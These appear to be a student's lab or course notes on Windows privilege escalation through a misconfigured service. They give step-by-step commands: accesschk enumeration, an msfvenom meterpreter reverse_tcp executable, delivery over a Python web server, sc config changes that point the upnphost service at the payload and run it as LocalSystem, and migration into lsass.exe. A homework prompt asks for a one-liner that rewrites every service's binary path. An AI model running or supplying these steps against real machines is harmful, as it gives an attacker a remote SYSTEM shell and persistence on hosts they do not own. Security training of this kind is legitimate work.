**Service Misconfigurations**

**Accesschk.exe -uwcquv \* > output.txt**

* Brings up all services and permissions

Graphical user interface

Description automatically generated with low confidence

We can see that the service upnphost has given full permissions to the guest account, so we will use this service

* We can modify the binary

On Kali:

Msfvenom -p windows/meterpreter/reverse\_tcp lhost=<addr> lport<4444> -f exe > exploit.exe

* Creating the reverse shell binary and saving in exploit.exe

Python -m simpleHTTPServer 8080

* On target machine grab the file
* http://192.168.0.x/exploit.exe

On Target:

* sc config upnphost binPath= “C:\Documents\Exploit.exe

this will change the binary path to our path containing the exploit binary

* sc qc upnphost # will show the service info, confirming the change of the binPath

May need to change the Service\_Start\_Name permissions from LocalService to LocalSystem and set the password to nothing

* sc config upnphost obj= “.\LocalSystem” password= “”

Also change the dependencies to nothing so that the service doesn’t have to wait on anything to start up

* sc config upnphost depend= “”

Restart the service

* sc start upnphost && start upnphost

Text

Description automatically generated

Shell will be up on restart

Migrate process to avoid it dying

* ps # to show process list
* migrate 652 # lsass.exe process which won’t die any time soon

**HW – Write a batch for loop (one liner) that can be run in cli, with copy and paste, that’ll modify the binpath of any service on the system and if it works, print completed**